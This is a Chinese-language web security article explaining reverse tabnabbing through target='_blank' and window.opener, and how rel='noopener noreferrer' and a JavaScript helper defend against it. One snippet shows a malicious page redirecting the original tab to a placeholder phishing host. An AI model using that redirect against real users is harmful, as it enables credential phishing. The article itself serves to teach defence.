在網(wǎng)頁中使用鏈接時，如果想要讓瀏覽器自動在新的標簽頁打開指定的地址，通常的做法就是在 a 標簽上添加 target等于"_blank" 屬性。

然而，就是這個屬性，為釣魚攻擊者帶來了可乘之機。

起源

parent 與 opener

在說 opener 之前，可以先聊聊 <iframe> 中的 parent。

我們知道，在 <iframe> 中提供了一個用于父子頁面交互的對象，叫做 window.parent，我們可以通過 window.parent 對象來從框架中的頁面訪問父級頁面的 window。

opener 與 parent 一樣，只不過是用于 <a target="_blank"> 在新標簽頁打開的頁面的。通過 <a target="_blank"> 打開的頁面，可以直接使用 window.opener 來訪問來源頁面的 window 對象。

同域與跨域

瀏覽器提供了完整的跨域保護，在域名相同時，parent 對象和 opener 對象實際上就直接是上一級的 window 對象；而當域名不同時，parent 和 opener 則是經(jīng)過包裝的一個 global 對象。這個 global 對象僅提供非常有限的屬性訪問，并且在這僅有的幾個屬性中，大部分也都是不允許訪問的（訪問會直接拋出 DOMException）。

在 <iframe> 中，提供了一個 sandbox 屬性用于控制框架中的頁面的權限，因此即使是同域，也可以控制 <iframe> 的安全性。

利用

如果，你的網(wǎng)站上有一個鏈接，使用了 target="_blank"，那么一旦用戶點擊這個鏈接并進入一個新的標簽，新標簽中的頁面如果存在惡意代碼，就可以將你的網(wǎng)站直接導航到一個虛假網(wǎng)站。此時，如果用戶回到你的標簽頁，看到的就是被替換過的頁面了。

詳細步驟

1.在你的網(wǎng)站 https://example.com 上存在一個鏈接： 

<a href="https://an.evil.site" target="_blank">進入一個“邪惡”的網(wǎng)站</a> 

2.用戶點擊了這個鏈接，在新的標簽頁打開了這個網(wǎng)站。這個網(wǎng)站可以通過 HTTP Header 中的 Referer 屬性來判斷用戶的來源。

并且，這個網(wǎng)站上包含著類似于這樣的 JavaScript 代碼：

const url = encodeURIComponent('{{header.referer}}'); 
window.opener.location.replace('https://a.fake.site/?' + url);  

3.此時，用戶在繼續(xù)瀏覽這個新的標簽頁，而原來的網(wǎng)站所在的標簽頁此時已經(jīng)被導航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。

4.惡意網(wǎng)站 https://a.fake.site 根據(jù) Query String 來偽造一個足以欺騙用戶的頁面，并展示出來（期間還可以做一次跳轉(zhuǎn)，使得瀏覽器的地址欄更具有迷惑性）。

5.用戶關閉 https://an.evil.site 的標簽頁，回到原來的網(wǎng)站………………已經(jīng)回不去了。

上面的攻擊步驟是在跨域的情況下的，在跨域情況下，opener 對象和 parent 一樣，是受到限制的，僅提供非常有限的屬性訪問，并且在這僅有的幾個屬性中，大部分也都是不允許訪問的（訪問會直接拋出 DOMException）。

但是與 parent 不同的是，在跨域的情況下，opener 仍然可以調(diào)用 location.replace 方法而 parent 則不可以。

如果是在同域的情況下（比如一個網(wǎng)站上的某一個頁面被植入了惡意代碼），則情況要比上面嚴重得多。

防御

<iframe> 中有 sandbox 屬性，而鏈接，則可以使用下面的辦法：

1. Referrer Policy 和 noreferrer

上面的攻擊步驟中，用到了 HTTP Header 中的 Referer 屬性，實際上可以在 HTTP 的響應頭中增加 Referrer Policy 頭來保證來源隱私安全。

Referrer Policy 需要修改后端代碼來實現(xiàn)，而在前端，也可以使用 <a> 標簽的 rel 屬性來指定 rel="noreferrer" 來保證來源隱私安全。 

<a href="https://an.evil.site" target="_blank" rel="noreferrer">進入一個“邪惡”的網(wǎng)站</a> 

但是要注意的是：即使限制了 referer 的傳遞，仍然不能阻止原標簽被惡意跳轉(zhuǎn)。

2. noopener

為了安全，現(xiàn)代瀏覽器都支持在 <a> 標簽的 rel 屬性中指定 rel="noopener"，這樣，在打開的新標簽頁中，將無法再使用 opener 對象了，它為設置為了 null。 

<a href="https://an.evil.site" target="_blank" rel="noopener">進入一個“邪惡”的網(wǎng)站</a> 

3. JavaScript

noopener 屬性看似是解決了所有問題，但是...瀏覽器的兼容性問題...

可以看到，現(xiàn)在絕大多數(shù)瀏覽器都已經(jīng)兼容了 rel="noopener" 屬性了。但是，為了保護稍舊的“近代”瀏覽器或是很舊的“古代”瀏覽器甚至是“遠古”瀏覽器，只有 noopener 屬性還是遠遠不夠的。

這時，就只能請出下面這段原生 JavaScript 來幫忙了。 

"use strict";  
function openUrl(url) {  
  var newTab = window.open();  
  newTab.opener = null;  
  newTab.location = url;  
}  

推薦

首先，在網(wǎng)站中的鏈接上，如果使用了 target="_blank"，就要帶上 rel="noopener"，并且建議帶上 rel="noreferrer"。類似于這樣： 

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">進入一個“邪惡”的網(wǎng)站</a> 

當然，在跳轉(zhuǎn)到第三方網(wǎng)站的時候，為了 SEO 權重，還建議帶上 rel="nofollow"，所以最終類似于這樣： 

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">進入一個“邪惡”的網(wǎng)站</a> 

性能

最后，再來說說性能問題。

如果網(wǎng)站使用了 <a target="_blank">，那么新打開的標簽頁的性能將會影響到當前頁面。此時如果新打開的頁面中執(zhí)行了一個非常龐大的 JavaScript 腳本，那么原始標簽頁也會受到影響，會出現(xiàn)卡頓的現(xiàn)象（當然不至于卡死）。

而如果在鏈接中加入了 noopener，則此時兩個標簽頁將會互不干擾，使得原頁面的性能不會受到新頁面的影響。 

原文鏈接：https://knownsec-fed.com/2018...